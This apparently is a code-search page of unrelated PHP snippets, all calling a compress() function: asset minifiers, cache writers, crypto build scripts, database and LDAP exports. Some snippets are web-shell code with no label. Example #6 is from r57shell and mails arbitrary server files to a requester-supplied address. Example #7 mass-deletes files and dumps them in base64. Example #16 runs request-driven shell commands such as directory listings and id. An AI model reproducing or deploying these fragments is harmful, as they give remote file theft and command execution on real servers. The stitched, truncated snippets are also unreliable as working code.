Пример #1
0
function export_category($category)
{
    $q = new mysql_squid_builder();
    echo "Exporting {$category}\n";
    if (!preg_match("#^category_.+?#", $category)) {
        $table = "category_" . $q->category_transform_name($category);
    } else {
        $table = $category;
    }
    $t = time();
    $dirtmp = "/tmp/categories_{$t}";
    $Finaldir = "/root/categories";
    @mkdir($dirtmp);
    @mkdir($Finaldir);
    shell_exec("/bin/chmod 777 -R {$dirtmp}");
    $sql = "SELECT zmd5,zDate,category,pattern,uuid FROM {$table} WHERE enabled=1 ORDER BY pattern\n\tINTO OUTFILE '{$dirtmp}/{$table}.csv'\n\tFIELDS TERMINATED BY ','\n\tENCLOSED BY '\"'\n\tLINES TERMINATED BY '\\n'";
    $q->QUERY_SQL($sql);
    if (!$q->ok) {
        echo $q->mysql_error . "\n";
    }
    if (!is_file("{$dirtmp}/{$table}.csv")) {
        echo "{$dirtmp}/{$table}.csv no such file\n";
        return;
    }
    echo "{$dirtmp}/{$table}.csv success\n";
    compress("{$dirtmp}/{$table}.csv", "{$dirtmp}/{$table}.csv.gz");
    if (!is_file("{$dirtmp}/{$table}.csv.gz")) {
        echo "Failed {$dirtmp}/{$table}.csv.gz no such file\n";
        return;
    }
    @unlink("{$dirtmp}/{$table}.csv");
    echo "Success {$dirtmp}/{$table}.csv.gz\n";
    copy("{$dirtmp}/{$table}.csv.gz", "{$Finaldir}/{$table}.csv.gz");
    @unlink("{$dirtmp}/{$table}.csv.gz");
}
Пример #2
0
function loadFiles()
{
    $files = array('../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/jquery-ui.min.css', 'reset.css', 'global.css', 'regional.css', 'responsive.css', 'modules/shop.css', 'modules/basket.css', 'animate/animate.css', 'sharrre/style.css', 'tipTip/tipTip.css', 'mcdropdown/jquery.mcdropdown.css', 'fullScreenPureCssSlider/style.css', 'awesomeFont/font-awesome.css');
    foreach ($files as $file) {
        $string .= file_get_contents($file);
    }
    return compress($string);
}
Пример #3
0
function loadFiles()
{
    $files = array('../../../kernel/lib/xorg/modernizr/modernizr.custom.33475.js', '../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/external/jquery/jquery.min.1.10.js', '../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/jquery-ui.min.js', '../../../kernel/lib/xorg/jQuery/jquery-migrate-1.0.0.min.js', '../../../kernel/lib/xorg/global/global.min.js', '../../../kernel/lib/xorg/jQuery/plugin/address/jquery.address-1.5.min.js', '../../../kernel/lib/xorg/jQuery/plugin/showLoading/jquery.showLoading.min.js', '../../../kernel/lib/xorg/ajax/ajax.js', '../../../kernel/lib/xorg/jQuery/plugin/layerSlider/layerslider.kreaturamedia.jquery-min.js', '../../../kernel/lib/xorg/jQuery/plugin/scrollTo/jquery.scrollTo-1.4.3.1-min.js', '../../../kernel/lib/xorg/global/disableScroll.js', '../../../kernel/lib/xorg/jQuery/plugin/tipTip/jquery.tipTip.minified.js', '../../../kernel/lib/xorg/jQuery/plugin/sharrre/jquery.sharrre-1.3.4.min.js', '../../../kernel/lib/xorg/jQuery/plugin/sharrre/start.js', '../../../kernel/lib/xorg/jQuery/plugin/mcdropdown/jquery.mcdropdown.min.js', '../../../kernel/lib/xorg/jQuery/plugin/mcdropdown/jquery.bgiframe.js', '../../../kernel/lib/xorg/jQuery/plugin/masonry/masonry.pkgd.min.js', '../../../kernel/lib/xorg/jQuery/plugin/hoverDir/jquery.hoverdir.js', '../../../kernel/lib/xorg/jQuery/plugin/elevateZoom/jquery.elevateZoom-3.0.8.min.js', '../../../kernel/lib/xorg/jQuery/plugin/countdown/jquery.countdown.min.js', 'custom.js', 'startUp.js');
    foreach ($files as $file) {
        $string .= file_get_contents($file);
    }
    return compress($string);
}
Пример #4
0
    $clustr_name = $headers['x-clustr-name'];
    if (!preg_match("/^[a-z0-9-]+\$/i", $clustr_name)) {
        clustr_error("Not a valid clustr name");
    }
}
#
# Generate the shapefile
#
$shproot = clustrize($path_points, $alpha, $clustr_name);
if (!$shproot) {
    clustr_error("Failed to generate shapefile data");
}
#
# Compress
#
$gz = compress($shproot);
if (!$gz) {
    clustr_error("Failed to compress shapefile data");
}
#
# Happy happy
#
$fname = basename($gz);
$enc_fname = htmlspecialchars($fname);
$enc_alpha = htmlspecialchars($alpha);
header("Content-Type: application/gzip");
header("Content-Disposition: attachment; filename={$enc_fname};");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($gz));
header("X-clustr-filename: {$enc_fname}");
header("X-clustr-alpha: {$enc_alpha}");
Пример #5
0
<?php

$src = "./t1/publish.php";
$content = file_get_contents($src);
$code = compress($content);

function compress($content){
	$code = array();
	$tokens = token_get_all($content);
	foreach ($tokens as $i => $token)
	{
		if (is_string($token)) continue;
		switch ($token[0])
		{
			case T_GLOBAL:
				break;
			case T_FUNCTION:
				break;
			case T_VAR:
				print_r($token);
				break;
			case T_OPEN_TAG:
			case T_CLOSE_TAG:
				break;
			case T_COMMENT:
			case T_DOC_COMMENT:
			case T_WHITESPACE:
				break;
			case T_CASE:
			case T_CLASS:
			case T_CLONE:
Пример #6
0
$f .= base64_decode($c2);
if (isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd'] == "mail") {
    $res = mail($_POST['to'], $_POST['subj'], $_POST['text'], "From: " . $POST['from'] . "\r\n");
    mr($language, $res);
    $_POST['cmd'] = "";
}
if (isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd'] == "mail_file" && !empty($_POST['loc_file'])) {
    if (!($file = @fopen($_POST['loc_file'], "r"))) {
        echo re($_POST['loc_file']);
        $_POST['cmd'] = "";
    } else {
        $filename = @basename($_POST['loc_file']);
        $filedump = @fread($file, @filesize($_POST['loc_file']));
        fclose($file);
        $content_encoding = $mime_type = '';
        compress($filename, $filedump, $_POST['compress']);
        $attach = array("name" => $filename, "type" => $mime_type, "content" => $filedump);
        if (empty($_POST['subj'])) {
            $_POST['subj'] = 'file from r57shell';
        }
        if (empty($_POST['from'])) {
            $_POST['from'] = '*****@*****.**';
        }
        $res = mailattach($_POST['to'], $_POST['from'], $_POST['subj'], $attach);
        mr($language, $res);
        $_POST['cmd'] = "";
    }
}
if (!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") {
    $_POST['cmd'] = 'find ' . $_POST['s_dir'] . ' -name \'' . $_POST['s_mask'] . '\' | xargs grep -E \'' . $_POST['s_text'] . '\'';
}
    if (is_file($file)) {
        header("Content-Type: " . $mime);
        header('Content-Transfer-Encoding: binary');
        header("Content-length: " . filesize($file));
        echo "data:" . $mime . ";base64," . base64_encode(read_file($file));
        die;
    }
} elseif (isset($p['massType']) && isset($p['massBuffer']) && isset($p['massPath']) && isset($p['massValue'])) {
    $massType = trim($p['massType']);
    $massBuffer = trim($p['massBuffer']);
    $massPath = realpath($p['massPath']) . DIRECTORY_SEPARATOR;
    $massValue = trim($p['massValue']);
    $counter = 0;
    $massBufferArr = explode("\n", $massBuffer);
    if ($massType == 'tar' || $massType == 'targz' || $massType == 'zip') {
        if (compress($massType, $massValue, $massBufferArr)) {
            $counter++;
            return $counter;
        }
    } else {
        foreach ($massBufferArr as $k) {
            $path = trim($k);
            if (file_exists($path)) {
                $preserveTimestamp = filemtime($path);
                if ($massType == 'delete') {
                    if (is_file($path)) {
                        if (unlink($path)) {
                            $counter++;
                        }
                    } elseif (is_dir($path)) {
                        if (rmdirs($path) > 0) {
Пример #8
0
 public static function script($appid, $sql, $variable, $file, $option = array())
 {
     global $_G;
     //主键
     $option['index'] = $option['index'] ? $option['index'] : 'id';
     //编码
     $option['charset'] = $option['charset'] ? $option['charset'] : 'utf-8';
     //压缩文本
     $option['compress'] = $option['compress'] ? $option['compress'] : TRUE;
     //unicode 编码
     $option['unicode'] = isset($option['unicode']) ? $option['unicode'] : TRUE;
     //html 实体符
     $option['entity'] = isset($option['entity']) ? $option['entity'] : FALSE;
     /////////////////////////
     //查询数据
     $part = System::$db->getAll($sql, $option['index']);
     foreach ($part as &$row) {
         $row = self::format($row, $option);
     }
     $string = var_export($part, TRUE);
     //转换成 JSON 格式
     $string = str_replace(array('=>', 'array (', '),'), array(':', '{', '},'), $string);
     //构造变量名
     $string = 'var ' . $variable . ' = ' . $string . ';';
     //去除多余的逗号
     $string = preg_replace('/\\,(\\s*)\\}/', '\\1}', $string);
     $string = preg_replace('/\\}\\,(\\s*)\\)\\;/', '}\\1};', $string);
     //转换相关关键字
     $string = str_replace(': NULL', ': null', $string);
     //unicode 编码
     if ($option['unicode'] === TRUE) {
         $string = unicode_encode($string, $_G['product']['charset']);
     } else {
         $string = stripslashes($string);
     }
     //html 实体符
     if ($option['entity'] === TRUE) {
         $string = entity_encode($string, $_G['product']['charset']);
     }
     //压缩文本
     if ($option['compress'] === TRUE) {
         $string = compress($string);
     }
     //存储编码
     if ($_G['product']['charset'] != $option['charset']) {
         $string = iconv($_G['product']['charset'], $option['charset'], $string);
     }
     $string = '/*' . date("Y-m-t H:i:s") . '*/' . chr(10) . $string;
     //写入缓存
     create_file(self::direct($appid) . str_replace(array('sys.', 'mod.'), array('script.', 'script.'), $file) . ".js", $string);
 }
Пример #9
0
 private function getScript($ext)
 {
     if ($ext === "css") {
         $scripts = array_merge($this->topCSS, $this->bottomCSS);
     } elseif ($ext === "js") {
         $scripts = array_merge($this->topJS, $this->bottomJS);
     } else {
         return null;
     }
     if (count($scripts) > 0) {
         if (_get("environment") < 3 or !_get("optimization")) {
             array_walk($scripts, create_function('&$val', '$val = "' . _get("webURL") . '/$val";'));
             if ($ext === "css") {
                 return '<link rel="stylesheet" href="' . implode('" type="text/css" /><link rel="stylesheet" href="', $scripts) . '" type="text/css" />';
             } else {
                 return '<script type="text/javascript" src="' . implode('"></script><script type="text/javascript" src="', $scripts) . '"></script>';
             }
         } else {
             $filename = CACHE_DIR . '/' . $ext . '/' . md5(implode(':', $scripts)) . '.' . $ext;
             if (!is_file($filename)) {
                 $contents = "";
                 foreach ($scripts as $file) {
                     $contents .= @file_get_contents($file) . "\n";
                 }
                 $contents = compress($contents, $ext);
                 file_put_contents($filename, $contents, LOCK_EX);
             }
             if ($ext === "css") {
                 return '<link rel="stylesheet" href="' . _get("webURL") . '/' . $filename . '" type="text/css" />';
             } else {
                 return '<script type="text/javascript" src="' . _get("webURL") . '/' . $filename . '"></script>';
             }
         }
     }
 }
Пример #10
0
/**
 * 快速缓存 以文件形式缓存
 * @param String $name 缓存KEY
 * @param bool $value 删除缓存
 * @param string $path 缓存目录
 * @return bool
 */
function F($name, $value = false, $path = CACHE_PATH)
{
    $_cache = array();
    $cacheFile = rtrim($path, '/') . '/' . $name . '.php';
    if (is_null($value)) {
        if (is_file($cacheFile)) {
            unlink($cacheFile);
            unset($_cache[$name]);
        }
        return true;
    }
    if ($value === false) {
        if (isset($_cache[$name])) {
            return $_cache[$name];
        }
        return is_file($cacheFile) ? include $cacheFile : null;
    }
    $data = "<?php if(!defined('HDPHP_PATH'))exit;\nreturn " . compress(var_export($value, true)) . ";\n?>";
    is_dir($path) || dir_create($path);
    if (!file_put_contents($cacheFile, $data)) {
        return false;
    }
    $_cache[$name] = $data;
    return true;
}
 /**
  * saves var toRecord values in the database, serializing arrays
  */
 function saveDb()
 {
     if (COMPRESS_DB_DATA && function_exists('gzcompress')) {
         $this->toRecord['compressed'] = 1;
     } else {
         $this->toRecord['compressed'] = 0;
     }
     /*
     print("<pre>");
     var_dump($this->toRecord);
     print("<br><br><br>");
     */
     foreach ($this->toRecord as $fieldName => $a_value) {
         if (is_array($a_value)) {
             $a_value = databaseEscape(compress(serialize($a_value), $this->toRecord['compressed']));
         }
         //print("<br>update $fieldName data = ".strlen(serialize($a_value)));
         updateLine(T_ARCHIVES, array($fieldName => $a_value, 'idarchives' => $this->idArchives), 'idarchives');
     }
     $this->updateDbState();
 }
Пример #12
0
function uploadFile($file, $dir, $plus)
{
    $archivo = $_FILES[$file]['name'];
    $tamano = $_FILES[$file]['size'];
    $ext = strtolower(substr($archivo, strlen($archivo) - 3, 3));
    $name = md5(time() + $plus);
    $name2 = $name . "." . $ext;
    if ($archivo != "") {
        // --> validaciones del archivo a subir
        if (file_exists($dir . $name2)) {
            // -> si existe el archivo te lo vuelas
            @unlink($dir . $name2);
        }
        $nombre_archivo_temp = $name . "." . $ext;
        if ($ext == "jpg" || $ext == "png" || $ext == "gif") {
            $destination = $dir . $nombre_archivo_temp;
            compress($_FILES[$file]['tmp_name'], $destination, 70);
        } else {
            if (is_uploaded_file($_FILES[$file]['tmp_name'])) {
                copy($_FILES[$file]['tmp_name'], $dir . $nombre_archivo_temp);
            }
        }
        return $nombre_archivo_temp;
    } else {
        return false;
    }
}
Пример #13
0
function export($ou, $path)
{
    @file_put_contents($pidfile, getmypid());
    //if(strlen($GLOBALS["USER_QUERY"])>0){$filter="(uid={$GLOBALS["USER_QUERY"]})";}
    $ldap = new clladp();
    $pattern = "(&(objectclass=userAccount){$filter})";
    $attr = array();
    $sr = @ldap_search($ldap->ldap_connection, "ou={$ou},dc=organizations,{$ldap->suffix}", $pattern, $attr);
    $hash = ldap_get_entries($ldap->ldap_connection, $sr);
    $unix = new unix();
    $gzip = $unix->find_program("gzip");
    $users_array = array();
    if (is_array($hash)) {
        for ($i = 0; $i < $hash["count"]; $i++) {
            $usersArray[] = $hash[$i]["uid"][0];
        }
    }
    if (is_array($usersArray)) {
        while (list($index, $uid) = each($usersArray)) {
            echo "Parsing {$uid}\n";
            $u = new user($uid);
            $array_user = array();
            foreach ($u as $key => $value) {
                $array_user[$key] = $value;
            }
            $array_users_final[] = $array_user;
            unset($array_user);
        }
    }
    $groups = $ldap->hash_groups($ou, 1);
    while (list($num, $line) = each($groups)) {
        echo "Parsing group {$num} {$line}\n";
        $u = new groups($num);
        $array_group = array();
        foreach ($u as $key => $value) {
            $array_group[$key] = $value;
        }
        $array_group_final[] = $array_group;
        unset($array_group);
    }
    $array_final["USERS"] = $array_users_final;
    $array_final["GROUPS"] = $array_group_final;
    $tempfile = $unix->FILE_TEMP();
    $datas = base64_encode(serialize($array_final));
    @file_put_contents($tempfile, $datas);
    if (is_dir($path)) {
        compress($tempfile, $path . "/{$ou}.gz");
        echo "Saved in " . $path . "/{$ou}.gz\n";
        @chmod($path . "/{$ou}.gz", 0755);
    } else {
        echo $path . " no such directory...\n";
    }
    @unlink($tempfile);
}
Пример #14
0
    // Build raw
    file_put_contents(__DIR__ . "/../build/components/{$componentName}.js", render(__DIR__ . '/copyright.php', array('content' => file_get_contents($componentSourcePath))));
    // Build minified
    file_put_contents(__DIR__ . "/../build/components/{$componentName}-min.js", render(__DIR__ . '/copyright.php', array('content' => compress(file_get_contents($componentSourcePath)))));
}
// Build rollups
mkdir(__DIR__ . '/../build/rollups', 0777, true);
foreach ($build['rollups'] as $rollupName => $components) {
    // Compute component source paths
    $componentSourcePaths = array_map(function ($componentName) {
        return __DIR__ . "/../src/{$componentName}.js";
    }, $components);
    // Get component source contents
    $componentSourceContents = implode('', array_map('file_get_contents', $componentSourcePaths));
    // Build rollup
    file_put_contents(__DIR__ . "/../build/rollups/{$rollupName}.js", render(__DIR__ . '/copyright.php', array('content' => compress($componentSourceContents))));
}
function render($__template__, $__params__)
{
    extract($__params__);
    ob_start();
    include $__template__;
    $content = ob_get_clean();
    return $content;
}
function compress($jsContent)
{
    // Open process
    $cmd = 'java -jar "' . __DIR__ . '/bin/compiler/compiler.jar"';
    $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
    $process = proc_open($cmd, $descriptors, $pipes);
Пример #15
0
function database_dump($database, $instanceid)
{
    $q = new mysql();
    $unix = new unix();
    $mysqldump = $unix->find_program("mysqldump");
    if (!is_file($mysqldump)) {
        return;
    }
    $options = "--add-drop-table --no-create-info --no-create-db --skip-comments";
    echo "Dump {$database} with instance {$instanceid} ({$mysqldump})\n";
    if ($instanceid > 0) {
        $q = new mysql_multi($instance_id);
        if ($q->mysql_password != null) {
            $password = "******";
        }
        $cmdline = "{$mysqldump} --user={$q->mysql_admin}{$password} --socket={$q->SocketPath} {$options} --databases {$database} >/tmp/{$database}.sql 2>&1";
    } else {
        $q = new mysql();
        if ($q->mysql_server == "127.0.0.1") {
            $servcmd = " --socket=/var/run/mysqld/mysqld.sock ";
        } else {
            $servcmd = " --host={$q->mysql_server} --port={$q->mysql_port} ";
        }
        if ($q->mysql_password != null) {
            $password = "******";
        }
        $cmdline = "{$mysqldump} --user={$q->mysql_admin}{$password} {$servcmd} {$options} --databases {$database} >/tmp/{$database}.sql 2>&1";
    }
    $results[] = $cmdline;
    exec($cmdline, $results);
    echo @implode("\n", $results);
    compress("/tmp/{$database}.sql", "/usr/share/artica-postfix/ressources/logs/web/{$database}.gz");
    @unlink("/tmp/{$database}.sql");
    @chmod("/usr/share/artica-postfix/ressources/logs/web/{$database}.gz", 0777);
}
Пример #16
0
    if ($compress) {
        compress($res);
    }
    echo $res;
}
$dfra = $_REQUEST['dirall'];
if (isset($dfra)) {
    $res = command("ls -lRa {$dfra}");
    if ($compress) {
        compress($res);
    }
    echo $res;
}
$info = $_REQUEST['info'];
if (isset($info)) {
    switch ($info) {
        case 'id':
            $res = command("id");
            break;
        case 'pwd':
            $res = @getcwd();
            if (empty($res)) {
                $res = command("pwd");
            }
            break;
    }
    if ($compress) {
        compress($res);
    }
    echo $res;
}
Пример #17
0
    $primary_1 = trim($theme->primary->darker);
    $primary_2 = trim($theme->primary->dark);
    $primary_3 = trim($theme->primary->middle);
    $primary_4 = trim($theme->primary->light);
    $primary_5 = trim($theme->primary->lighter);
    $primary_6 = trim($theme->primary->lightest);
    $secondary_0 = trim($theme->secondary->darkest);
    $secondary_1 = trim($theme->secondary->lightest);
} else {
    # set default colors
    $primary_0 = '#0E1316';
    # darkest
    $primary_1 = '#182227';
    $primary_2 = '#283840';
    $primary_3 = '#415A66';
    $primary_4 = '#618899';
    $primary_5 = '#E8EDF0';
    $primary_6 = '#AFC5CF';
    # lightest
    $secondary_0 = '#9F2C04';
    # darkest
    $secondary_1 = '#CF3805';
    # lightest
}
include 'css.php';
if (isset($_GET['s']) and $_GET['s'] == 'wide') {
    include 'css-wide.php';
}
file_put_contents($cachefile, compress(ob_get_contents()));
chmod($cachefile, 0644);
ob_end_flush();
Пример #18
0
function inicia($arquivo)
{
    $abre = fopen($arquivo, "r");
    while (!feof($abre)) {
        $buffer = fgets($abre);
        $maparray[] = $buffer . "kkkk";
    }
    fclose($abre);
    $c = compress(implode("", $maparray));
    $c = str_replace("kkkk", "\n", $c);
    $c = str_replace("kkk", "", $c);
    $c = str_replace(";\n", ";", $c);
    $c = str_replace("{\n", "{", $c);
    $c = str_replace("\n}", "}", $c);
    $c = str_replace(")\n", ")", $c);
    $c = str_replace(" \n", "", $c);
    $c = str_replace("\n}", "}\n", $c);
    return $c;
}
Пример #19
0
 /**
  * 编译核心文件
  * @access private
  */
 private static function compile()
 {
     if (DEBUG) {
         is_file(TEMP_FILE) and unlink(TEMP_FILE);
         return;
     }
     $compile = '';
     //常量编译
     $_define = get_defined_constants(true);
     foreach ($_define['user'] as $n => $d) {
         if ($d == '\\') {
             $d = "'\\\\'";
         } else {
             $d = is_int($d) ? intval($d) : "'{$d}'";
         }
         $compile .= "defined('{$n}') OR define('{$n}',{$d});";
     }
     $files = array(HDPHP_CORE_PATH . 'App.class.php', HDPHP_CORE_PATH . 'Controller.class.php', HDPHP_CORE_PATH . 'Debug.class.php', HDPHP_CORE_PATH . 'Hook.class.php', HDPHP_CORE_PATH . 'HDPHP.class.php', HDPHP_CORE_PATH . 'HdException.class.php', HDPHP_CORE_PATH . 'Log.class.php', HDPHP_CORE_PATH . 'Route.class.php', HDPHP_FUNCTION_PATH . 'Functions.php', HDPHP_DRIVER_PATH . 'Cache/Cache.class.php', HDPHP_DRIVER_PATH . 'Cache/CacheFactory.class.php', HDPHP_DRIVER_PATH . 'Cache/CacheFile.class.php', HDPHP_DRIVER_PATH . 'Db/Db.class.php', HDPHP_DRIVER_PATH . 'Db/DbFactory.class.php', HDPHP_DRIVER_PATH . 'Db/DbInterface.class.php', HDPHP_DRIVER_PATH . 'Db/DbMysql.class.php', HDPHP_DRIVER_PATH . 'Model/Model.class.php', HDPHP_DRIVER_PATH . 'Model/RelationModel.class.php', HDPHP_DRIVER_PATH . 'Model/ViewModel.class.php', HDPHP_DRIVER_PATH . 'View/ViewHd.class.php', HDPHP_DRIVER_PATH . 'View/View.class.php', HDPHP_DRIVER_PATH . 'View/ViewFactory.class.php', HDPHP_DRIVER_PATH . 'View/ViewCompile.class.php', HDPHP_EXTEND_PATH . 'Tool/Dir.class.php');
     foreach ($files as $f) {
         $con = compress(trim(file_get_contents($f)));
         $compile .= substr($con, -2) == '?>' ? trim(substr($con, 5, -2)) : trim(substr($con, 5));
     }
     //HDPHP框加核心配置
     $compile .= 'C(' . var_export(C(), true) . ');';
     //HDPHP框架核心语言包
     $compile .= 'L(' . var_export(L(), true) . ');';
     //别名配置文件
     $compile .= 'alias_import(' . var_export(alias_import(), true) . ');';
     //编译内容
     $compile = '<?php if(!defined(\'DEBUG\'))exit;' . $compile . 'HDPHP::init();App::run();?>';
     //创建Boot编译文件
     if (is_dir(TEMP_PATH) or dir_create(TEMP_PATH) and is_writable(TEMP_PATH)) {
         return file_put_contents(TEMP_FILE, compress($compile));
     }
     header("Content-type:text/html;charset=utf-8");
     exit("<div style='border:solid 1px #dcdcdc;padding:30px;'>请修改" . realpath(dirname(TEMP_PATH)) . "目录权限</div>");
 }
Пример #20
0
 public function setHtml($html)
 {
     $this->html->set(compress($html, 'html'));
 }
Пример #21
0
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    $buffer = str_replace(';}', '}', $buffer);
    return $buffer;
}
$uri = JUri::base();
// less compiler
$lesspath = __DIR__ . '/css';
require_once $lesspath . '/less.php/less.php';
$less_files = array($lesspath . '/template.less' => $uri);
$options = array('cache_dir' => $lesspath . '/cache/');
$css_file_name = Less_Cache::Get($less_files, $options);
$compiled = file_get_contents($lesspath . '/cache/' . $css_file_name);
if (file_exists($lesspath . '/cache/' . $css_file_name)) {
    // merge files
    $compiled = file_get_contents($lesspath . '/cache/' . $css_file_name);
    $compiled .= file_get_contents(JUri::base() . '/media/system/css/system.css');
    $compiled .= file_get_contents(JPATH_THEMES . '/system/css/system.css');
    $compiled .= file_get_contents(JPATH_THEMES . '/system/css/general.css');
    if ($templateparams->get('compressless', 1) == 1) {
        $compressed = compress($compiled);
        file_put_contents($lesspath . '/template.css', $compressed);
    } else {
        file_put_contents($lesspath . '/template.css', $compiled);
    }
}
Пример #22
0
            $type_file = $_FILES['lieuImage']['type'];
            if (!strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'png') && !strstr($type_file, 'gif')) {
                $response["STATUS"] = "ERREUR_FORMAT";
                $response["MESSAGE"] = "Le format d'image n'est pas bon, veuillez la changer";
                echo json_encode($response);
                /*
                			    echo <<<JSON
                			    [{"STATUS":"ERREUR_FORMAT","MESSAGE":"Le format d'image n'est pas bon, veuillez la changer"}]
                JSON; */
            } else {
                // on copie le fichier dans le dossier de destination
                $info = new SplFileInfo($_FILES['lieuImage']['name']);
                $extension = $info->getExtension();
                $idfile = md5(uniqid(rand(), true));
                $name_file = $idfile . '.' . $extension;
                if (!compress($tmp_file, $content_dir . $name_file, 80)) {
                    $response["STATUS"] = "ERREUR_COPIE";
                    $response["MESSAGE"] = "Impossible de copier l'image. Veuillez réessayer ou choisir une autre photo";
                    echo json_encode($response);
                    /*
                    					echo <<<JSON
                    					[{"STATUS":"ERREUR_COPIE","MESSAGE":"Impossible de copier l'image. Veuillez réessayer ou choisir une autre photo"}]
                    JSON;*/
                } else {
                    $pdo = myPDO::getInstance();
                    $req = $pdo->prepare('
					    INSERT INTO lieu(titre, contenu, image, categorie) VALUES (:titre, :contenu, :image, :categorie)');
                    $req->execute(array(':titre' => $_POST['titreLieu'], ':contenu' => $_POST['desciptionLieu'], ':image' => $name_file, ':categorie' => $_POST['categorieLieu']));
                }
            }
        }
Пример #23
0
 function encode($data)
 {
     return compress($data);
 }
Пример #24
0
$files = array('crypto', 'md5', 'sha1', 'sha256', 'hmac', 'pbkdf2', 'pbkdf2async', 'marc4', 'rabbit', 'aes', 'cbc', 'ofb');
$rollups = array(array('crypto', 'md5'), array('crypto', 'sha1'), array('crypto', 'sha256'), array('crypto', 'sha1', 'hmac', 'pbkdf2'), array('crypto', 'sha1', 'hmac', 'pbkdf2async'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'marc4'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'rabbit'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'ofb', 'aes'));
foreach ($files as $file) {
    mkdir("../build/{$file}");
    $js = $copyrightInfo . file_get_contents("../src/{$file}.js");
    file_put_contents("../build/{$file}/{$file}.js", $js);
    file_put_contents("../build/{$file}/{$file}-min.js", compress($js));
}
foreach ($rollups as $rollup) {
    $rollupName = implode("-", $rollup);
    mkdir("../build/{$rollupName}");
    $js = $copyrightInfo;
    foreach ($rollup as $file) {
        $js .= file_get_contents("../src/{$file}.js");
    }
    file_put_contents("../build/{$rollupName}/{$rollupName}.js", compress($js));
}
function compress($js)
{
    $cmd = 'java -jar compiler/compiler.jar';
    $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
    $process = proc_open($cmd, $descriptors, $pipes);
    if ($process === false) {
        die;
    }
    fwrite($pipes[0], $js);
    fclose($pipes[0]);
    $compressed = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $errors = stream_get_contents($pipes[2]);
    fclose($pipes[2]);
Пример #25
0
function file_merge($files, $space = false, $tag = false)
{
    $str = '';
    foreach ($files as $file) {
        $con = trim(file_get_contents($file));
        if ($space) {
            $con = compress($con);
        }
        $str .= substr($con, -2) == '?>' ? trim(substr($con, 5, -2)) : trim($con, 5);
    }
    return $tag ? '<?php if(!defined("HDPHP_PATH")){exit("No direct script access allowed");}' . $str . "\t?>" : $str;
}
Пример #26
0
/**
 * Write out combined javascript and css files
 *
 * @param $js string combined javascript from all modules
 * @param $js_compress string command to compress the js
 * @param $css string combined css from all modules
 * @param $css_compress string command to compress the css
 *
 * @return void
 */
function combine_includes($js, $js_compress, $css, $css_compress)
{
    if ($css) {
        file_put_contents('site.css', compress($css, $css_compress));
        printf("site.css file created\n");
    }
    if ($js) {
        $js_lib = file_get_contents("third_party/zepto.min.js");
        $js = str_replace('\\', '\\\\', $js);
        file_put_contents('site.js', $js_lib . compress($js, $js_compress));
        printf("site.js file created\n");
    }
}
Пример #27
0
Файл: css.php Проект: buuum/app
        $files = glob($pattern, $flags);
        foreach (glob(dirname($pattern) . '/*', GLOB_ONLYDIR | GLOB_NOSORT) as $dir) {
            $files = array_merge($files, glob_recursive($dir . '/' . basename($pattern), $flags));
        }
        return $files;
    }
}
if (!file_exists($cachefile) || intval(@filemtime($cachefile)) + $timecache < time()) {
    $jsmin_php = '';
    foreach ($plugins as $plugin) {
        $files = glob_recursive(__DIR__ . '/plugins/' . $plugin . '/*.css');
        foreach ($files as $file) {
            $jsmin_php .= file_get_contents($file);
        }
    }
    $files = glob_recursive(__DIR__ . '/' . $folder . '/css/*.css');
    foreach ($files as $file) {
        $jsmin_php .= file_get_contents($file);
    }
    $salida = compress($jsmin_php);
    if (!empty($prefix)) {
        if (!is_dir($base_cache)) {
            mkdir($base_cache, 0755);
        }
        file_put_contents($cachefile, $salida);
    }
    echo $salida;
} else {
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($cachefile)) . ' GMT', true, 200);
    echo file_get_contents($cachefile);
}
Пример #28
0
$files = array('crypto', 'md5', 'sha1', 'sha256', 'hmac', 'pbkdf2', 'pbkdf2async', 'marc4', 'rabbit', 'aes', 'des', 'blockmodes');
$rollups = array(array('crypto', 'md5'), array('crypto', 'sha1'), array('crypto', 'sha256'), array('crypto', 'md5', 'hmac'), array('crypto', 'sha1', 'hmac'), array('crypto', 'sha256', 'hmac'), array('crypto', 'sha1', 'hmac', 'pbkdf2'), array('crypto', 'sha1', 'hmac', 'pbkdf2async'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'marc4'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'rabbit'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'blockmodes', 'aes'), array('crypto', 'sha1', 'hmac', 'pbkdf2', 'blockmodes', 'des'));
foreach ($files as $file) {
    mkdir("../build/{$file}");
    $js = file_get_contents("../src/{$file}.js");
    file_put_contents("../build/{$file}/{$file}.js", $copyrightInfo . $js);
    file_put_contents("../build/{$file}/{$file}-min.js", $copyrightInfo . compress($js));
}
foreach ($rollups as $rollup) {
    $rollupName = implode("-", $rollup);
    mkdir("../build/{$rollupName}");
    $js = '';
    foreach ($rollup as $file) {
        $js .= file_get_contents("../src/{$file}.js");
    }
    file_put_contents("../build/{$rollupName}/{$rollupName}.js", $copyrightInfo . compress($js));
}
function compress($js)
{
    $cmd = 'java -jar compiler/compiler.jar';
    $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
    $process = proc_open($cmd, $descriptors, $pipes);
    if ($process === false) {
        die;
    }
    fwrite($pipes[0], $js);
    fclose($pipes[0]);
    $compressed = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $errors = stream_get_contents($pipes[2]);
